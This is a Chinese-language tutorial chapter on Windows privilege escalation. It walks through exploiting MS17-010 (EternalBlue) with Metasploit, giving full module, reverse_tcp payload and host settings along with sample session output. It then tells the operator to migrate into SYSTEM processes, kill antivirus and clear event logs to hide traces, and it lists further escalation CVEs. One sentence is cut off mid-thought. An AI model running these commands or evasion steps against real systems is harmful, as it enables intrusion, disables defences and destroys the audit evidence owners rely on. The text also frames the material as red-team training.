2. 权限提升基础:Windows本地提权概述与MS17-010实战
权限提升,说白了就是「拿到普通用户权限后,想办法变成管理员甚至 SYSTEM」。这是后渗透里最关键的环节之一。我经常跟团队说:没有提权,持久化就是空中楼阁。
你想想看,你费了半天劲打进去,结果只是个 guest 或者普通 user,能干的事太有限了。想装个服务?没权限。想写注册表?没权限。想 dump 哈希?更别想了。所以,提权是后渗透的「入场券」。
2.1 Windows 本地提权到底在提什么?
Windows 的权限模型,说白了就是一套「谁能干什么」的规则。普通用户能跑程序、能读写自己的文件,但动不了系统核心的东西。而 SYSTEM 账户——那是 Windows 的「上帝模式」,什么都能干。
本地提权,就是从低权限账户跳到高权限账户。常见的路径有:
- 内核漏洞提权:利用操作系统本身的 bug,比如 MS17-010、MS16-032
- 服务漏洞提权:服务跑在 SYSTEM 下,但配置不当,比如可写路径、可劫持的二进制文件
- 令牌窃取:从其他高权限进程中「偷」令牌来用
- DLL 劫持:让高权限进程加载我们恶意的 DLL
我个人习惯,拿到 shell 后第一件事就是跑 whoami 和 systeminfo。看看自己是谁,看看系统打了哪些补丁。嗯,这一步很关键。
2.2 为什么 MS17-010 这么经典?
MS17-010,江湖人称「永恒之蓝」。2017 年爆出来的,影响 Windows 7、Server 2008、Server 2012 等一大批系统。这个漏洞有多猛?不需要用户交互,不需要认证,直接远程打进去就是 SYSTEM。
我记得当年做红队项目时,碰到一个内网全是 Windows 7 的环境。扫了一圈,发现 445 端口全开着。我当时心里就有数了——这波稳了。直接上 MS17-010,一路畅通无阻。
为什么会这样?因为 SMB 协议在处理某些特殊构造的请求时,存在一个缓冲区溢出。攻击者可以覆盖内核内存,最终执行任意代码。而且这个漏洞的利用代码非常成熟,Metasploit 里直接就有现成的模块。
2.3 实战:用 Metasploit 打 MS17-010
好,咱们直接上手。假设你已经有了一个普通用户的 meterpreter shell。现在要提权到 SYSTEM。
第一步,先确认目标有没有打补丁。在 meterpreter 里跑:
meterpreter > run post/windows/gather/enum_patches
[+] KB4012212 缺失
[+] KB4012215 缺失
[+] KB4012216 缺失
看到这些补丁缺失,基本就稳了。这些就是 MS17-010 的修复补丁。
第二步,加载 exploit 模块:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set RHOSTS 192.168.1.100
msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.1.50
msf6 > run
如果一切顺利,你会看到:
[*] Started reverse TCP handler on 192.168.1.50:4444
[*] 192.168.1.100:445 - Connecting to target...
[+] 192.168.1.100:445 - Target is vulnerable!
[*] 192.168.1.100:445 - Sending exploit...
[+] 192.168.1.100:445 - Exploit completed!
[*] Sending stage (201283 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened
这时候你再看权限:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
嗯,直接就是 SYSTEM。整个过程不到 30 秒。
windows/meterpreter/reverse_tcp。我见过有人拿 64 位 payload 去打 32 位系统,结果 session 死活起不来。
2.4 提权后的第一件事
拿到 SYSTEM 之后,别急着高兴。我建议你立刻做三件事:
- 迁移进程:把 meterpreter 迁移到一个稳定的 SYSTEM 进程里,比如
explorer.exe或者svchost.exe。用migrate命令。 - 关闭杀软:用
run post/windows/manage/killav或者手动停掉 Windows Defender。 - 清理痕迹:用
clearev清掉事件日志。虽然不一定能完全隐藏,但至少能拖延一下。
我曾经有一次,提权成功后忘了迁移进程。结果目标机器重启了,我的 session 直接断了。那叫一个后悔。所以,迁移进程是肌肉记忆。
2.5 其他常见的本地提权漏洞
MS17-010 虽然经典,但不是万能的。现在很多系统都打了补丁。那怎么办?别急,还有别的路子。
| 漏洞编号 | 影响系统 | 利用方式 | 备注 |
|---|---|---|---|
| MS16-032 | Windows 7/8/10, Server 2008/2012 | PowerShell 脚本 | 需要本地用户权限 |
| MS16-135 | Windows 7/8/10, Server 2008/2012/2016 | 内核提权 | 稳定性一般 |
| CVE-2019-0808 | Windows 7/8/10, Server 2008/2012/2016 | Win32k 提权 | 需要用户交互 |
| CVE-2020-0787 | Windows 10, Server 2016/2019 | 后台打印服务提权 | 比较新,成功率不错 |
我个人习惯,先打 MS17-010,不行再试 MS16-032。如果都不行,那就看看目标有没有装什么第三方软件,比如某款杀软或者某款办公软件,它们的服务经常跑在 SYSTEM 下,而且配置漏洞百出。
2.6 本章知识体系
下面这张图,是我自己整理的 Windows 本地提权知识体系。你可以把它当作一个「提权路线图」:
这张图的核心逻辑就是:从普通用户出发,经过信息收集,选择一条合适的路径,最终到达 SYSTEM。你不需要每条路都走一遍,找到一条能走通的就行。
好了,这一章就到这里。MS17-010 是入门,但绝不是终点。下一章我们会聊更高级的提权技巧,比如服务劫持和令牌窃取。到时候见。